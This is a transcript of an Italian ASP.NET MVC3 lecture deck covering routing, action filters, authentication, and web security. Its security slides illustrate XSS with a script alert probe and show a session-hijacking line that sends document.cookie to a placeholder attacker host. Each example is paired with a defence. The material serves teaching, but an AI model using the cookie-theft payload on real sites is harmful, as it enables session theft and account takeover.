ASP.NET MVC3 - Tutti i compiti del Controller

60
ASP.NET Sviluppo applicazioni web e linguaggio HTML LEZIONE 07 Model View Controller

description

Dai cross-cutting concerns alla security parlando di ActionFilter e Routing

Transcript of ASP.NET MVC3 - Tutti i compiti del Controller

Page 1: ASP.NET MVC3 - Tutti i compiti del Controller

ASP.NET

Sviluppo applicazioni web e linguaggio HTML

LEZIONE 07

Model View Controller

Page 2: ASP.NET MVC3 - Tutti i compiti del Controller

Model

Processa le richieste

degli utenti compilando

il modello e scegliendo

la view da renderizzare

Page 3: ASP.NET MVC3 - Tutti i compiti del Controller

Come fanno le richieste

ad arrivare al Controller?

Page 4: ASP.NET MVC3 - Tutti i compiti del Controller

Attraverso la definizione

di regole

di Routing

Page 5: ASP.NET MVC3 - Tutti i compiti del Controller

Una regola di routing

traduce l’indirizzo di una

richiesta in una

serie di parametri

Page 6: ASP.NET MVC3 - Tutti i compiti del Controller

Una regola di routing

traduce l’indirizzo di una

richiesta in una

serie di parametri

Page 7: ASP.NET MVC3 - Tutti i compiti del Controller

Tra questi parametri

devono sempre esserci

controller e action

Page 8: ASP.NET MVC3 - Tutti i compiti del Controller

… e poi?

Page 9: ASP.NET MVC3 - Tutti i compiti del Controller

… e poi tocca a noi

routes.MapRoute (

"PostByDate",

"date/{year}/{month}",

new { controller = "Post",

action = "ByDate",

year = DateTime.Now.Year,

month = DateTime.Now.Month

}

);

1

Page 10: ASP.NET MVC3 - Tutti i compiti del Controller

… e poi tocca a noi

public ActionResult ByDate(int year, int month)

{

IList<Post> posts = new List<Post>();

using (var db = new BlogContext())

{

posts = (from p in db.Posts

where p.PublishedDate.Year == year

&& p.PublishedDate.Month == month

select p).ToList();

}

return View("List", posts);

}

2

Page 11: ASP.NET MVC3 - Tutti i compiti del Controller

This slide is intentionally blank

Page 12: ASP.NET MVC3 - Tutti i compiti del Controller

Una delle caratteristiche

del pattern MVC è la

Separation of Concerns

Page 13: ASP.NET MVC3 - Tutti i compiti del Controller

… ma ci sono degli aspetti

dell’applicazione che sono

“trasversali”

Page 14: ASP.NET MVC3 - Tutti i compiti del Controller

Il risultato è spesso una

duplicazione di codice

Page 15: ASP.NET MVC3 - Tutti i compiti del Controller

In questi casi possiamo

utilizzare gli ActionFilter

Page 16: ASP.NET MVC3 - Tutti i compiti del Controller

Attributi che decorano le

action del controller che

vogliamo intercettare

Page 17: ASP.NET MVC3 - Tutti i compiti del Controller
Page 18: ASP.NET MVC3 - Tutti i compiti del Controller

Scriviamo un filtro per

salvare le statistiche sul

numero di pagine visitate

Page 19: ASP.NET MVC3 - Tutti i compiti del Controller
Page 20: ASP.NET MVC3 - Tutti i compiti del Controller

Se il filtro deve essere

applicato a tutte le action

posso aggiungerlo alla

lista dei GlobalFilters nel

file global.asax

Page 21: ASP.NET MVC3 - Tutti i compiti del Controller

This slide is intentionally blank

Page 22: ASP.NET MVC3 - Tutti i compiti del Controller
Page 23: ASP.NET MVC3 - Tutti i compiti del Controller

La sicurezza di una

applicazione viene garantita

tra le altre cose da …

Page 24: ASP.NET MVC3 - Tutti i compiti del Controller

Riconoscimento

dell’utente collegato 1

Page 25: ASP.NET MVC3 - Tutti i compiti del Controller

Riconoscimento

dell’utente collegato 1

2 Verifica dell’autorizzazione

a procedere

Page 26: ASP.NET MVC3 - Tutti i compiti del Controller

Riconoscimento

dell’utente collegato 1

2 Verifica dell’autorizzazione

a procedere

3 Protezione dalle minacce

facilitate dalle vulnerabilità

Page 27: ASP.NET MVC3 - Tutti i compiti del Controller

Riconoscimento

dell’utente collegato 1

Page 28: ASP.NET MVC3 - Tutti i compiti del Controller

Per identificare un utente

utilizziamo l’autenticazione

tramite form

Page 29: ASP.NET MVC3 - Tutti i compiti del Controller

Per specificare che una

action richiede il

riconoscimento dell’utente

usiamo il filtro

AuthorizeAttribute

Page 30: ASP.NET MVC3 - Tutti i compiti del Controller

Il filtro controlla nell’HttpContext

se l’utente è autenticato, se non

è così visualizza la pagina di

login specificata nel web.config

Page 31: ASP.NET MVC3 - Tutti i compiti del Controller

A questo punto l’utente ci

fornisce le sue credenziali …

Utilizza il membership provider integrato(ovvero gli utenti sono salvati nel database ASPNETDB.mdf)

Page 32: ASP.NET MVC3 - Tutti i compiti del Controller

Normalmente però le

credenziali dobbiamo

verificarle noi, dall’elenco

degli utenti della nostra

applicazione

Page 33: ASP.NET MVC3 - Tutti i compiti del Controller

Dependency

Injection

Verifica dell’autorizzazione a

procedere

Page 34: ASP.NET MVC3 - Tutti i compiti del Controller

Anche se l’utente è

conosciuto non è detto che

abbia i permessi per

svolgere una determinata

operazione

Page 35: ASP.NET MVC3 - Tutti i compiti del Controller

L’accesso può essere

regolato per utente e/o per

ruolo, generalmente però i

permessi sono specifici

dell’applicazione

Page 36: ASP.NET MVC3 - Tutti i compiti del Controller

Ad esempio un autore non

può modificare i post di un

altro autore

Page 37: ASP.NET MVC3 - Tutti i compiti del Controller

Protezione dalle minacce

facilitate dalle vulnerabilità 3

Page 38: ASP.NET MVC3 - Tutti i compiti del Controller

Quali vulnerabilità,

quali minacce?

Page 39: ASP.NET MVC3 - Tutti i compiti del Controller
Page 40: ASP.NET MVC3 - Tutti i compiti del Controller

Cross Site Scripting Permette ad un hacker di inserire

codice al fine di modificare il

contenuto della pagina web

visitata.

Page 41: ASP.NET MVC3 - Tutti i compiti del Controller

Cross Site Scripting Permette ad un hacker di inserire

codice al fine di modificare il

contenuto della pagina web

visitata. In questo modo è possibile

sottrarre dati sensibili presenti nel

browser degli utenti che visiteranno

successivamente quella pagina.

Fonte: Wikipedia

Page 42: ASP.NET MVC3 - Tutti i compiti del Controller

Come può accadere? Se permetto agli utenti del mio

sito di inserire contenuti in html …

Page 43: ASP.NET MVC3 - Tutti i compiti del Controller

Come può accadere? Se permetto agli utenti del mio

sito di inserire contenuti in html,

devo disabilitare il controllo degli

input con [ValidateInput=false]

Page 44: ASP.NET MVC3 - Tutti i compiti del Controller

Come può accadere? Se permetto agli utenti del mio

sito di inserire contenuti in html,

devo disabilitare il controllo degli

input con [ValidateInput=false]

E se poi qualcuno scrive del

codice javascript?

<script>alert(„XSS‟)</script>

Page 45: ASP.NET MVC3 - Tutti i compiti del Controller

Come difendersi?

Page 46: ASP.NET MVC3 - Tutti i compiti del Controller

Come difendersi?

Encoding quando serve

e validazione degli input

lato server, ovvero pulizia

dai tag indesiderati

Page 47: ASP.NET MVC3 - Tutti i compiti del Controller
Page 48: ASP.NET MVC3 - Tutti i compiti del Controller

Cross Site Request Forgery Permette ad un hacker di

sfruttare l‟autenticazione

tramite cookie per effettuare

una richiesta cross-domain a

nome dell‟utente (ovviamente

ignaro di tutto).

Page 49: ASP.NET MVC3 - Tutti i compiti del Controller

Come può accadere? Accade se visito la pagina nella

quale un hacker ha inserito un link

con i parametri “giusti” (oppure

un codice che esegue un post

automatico) dopo essermi

autenticato sul sito vulnerabile a

tale attacco.

Page 50: ASP.NET MVC3 - Tutti i compiti del Controller

Come difendersi?

Page 51: ASP.NET MVC3 - Tutti i compiti del Controller

Come difendersi? Controllare il referrer della

richiesta oppure utilizzare

un token fornito

dall’Antiforgery Helper

Indirizzo dal quale

è stata inviata la

richiesta

Page 52: ASP.NET MVC3 - Tutti i compiti del Controller

Antiforgery Helper

@using(Html.BeginForm()) {

@Html.AntiForgeryToken()

<!-- controlli di input -->

}

1

2 [HttpPost]

[ValidateAntiForgeryToken]

public ActionResult Change(string pwd)

{

Page 53: ASP.NET MVC3 - Tutti i compiti del Controller
Page 54: ASP.NET MVC3 - Tutti i compiti del Controller

Session Hijacking Permette ad un hacker di

sfruttare la vulnerabilità XSS per

“rubare” l‟identità di un utente

data dal suo cookie di

autenticazione.

Page 55: ASP.NET MVC3 - Tutti i compiti del Controller

Come può accadere? L‟hacker nasconde dietro

l‟indirizzo di una immagine una

chiamata al suo sito passndo

come parametro il valore del

cookie dell‟utente.

img.src = “http://sito.hacker/ruba_identita?cookies=“+

encodeURI(document.cookie);

Page 56: ASP.NET MVC3 - Tutti i compiti del Controller

Come difendersi?

Page 57: ASP.NET MVC3 - Tutti i compiti del Controller

Come difendersi? Impedire l‟accesso al cookie

tramite script settando a true la

proprietà HttpOnly (disponibile

da IE 6 SP1).

Page 58: ASP.NET MVC3 - Tutti i compiti del Controller

continua?

Page 59: ASP.NET MVC3 - Tutti i compiti del Controller

Slide 4: http://www.flickr.com/photos/telstar/2987850087/in/photostream/

Slide 22: http://www.flickr.com/photos/mbiskoping/4120185389/in/photostream/

Slide 27: http://www.flickr.com/photos/clappstar/131011191/in/photostream/

Slide 33: http://www.flickr.com/photos/24196101@N00/6243028090/

Slide 39-43-47: http://www.flickr.com/photos/35703177@N00/3720913706/

Slide 39: http://www.flickr.com/photos/nizger/5750806378/in/photostream/

Credits Le immagini contenute in questa presentazione

hanno licenza Creative Commons

Page 60: ASP.NET MVC3 - Tutti i compiti del Controller

Thank You

MANUEL SCAPOLAN website: www.manuelscapolan.it twitter: manuelscapolan e-mail: [email protected]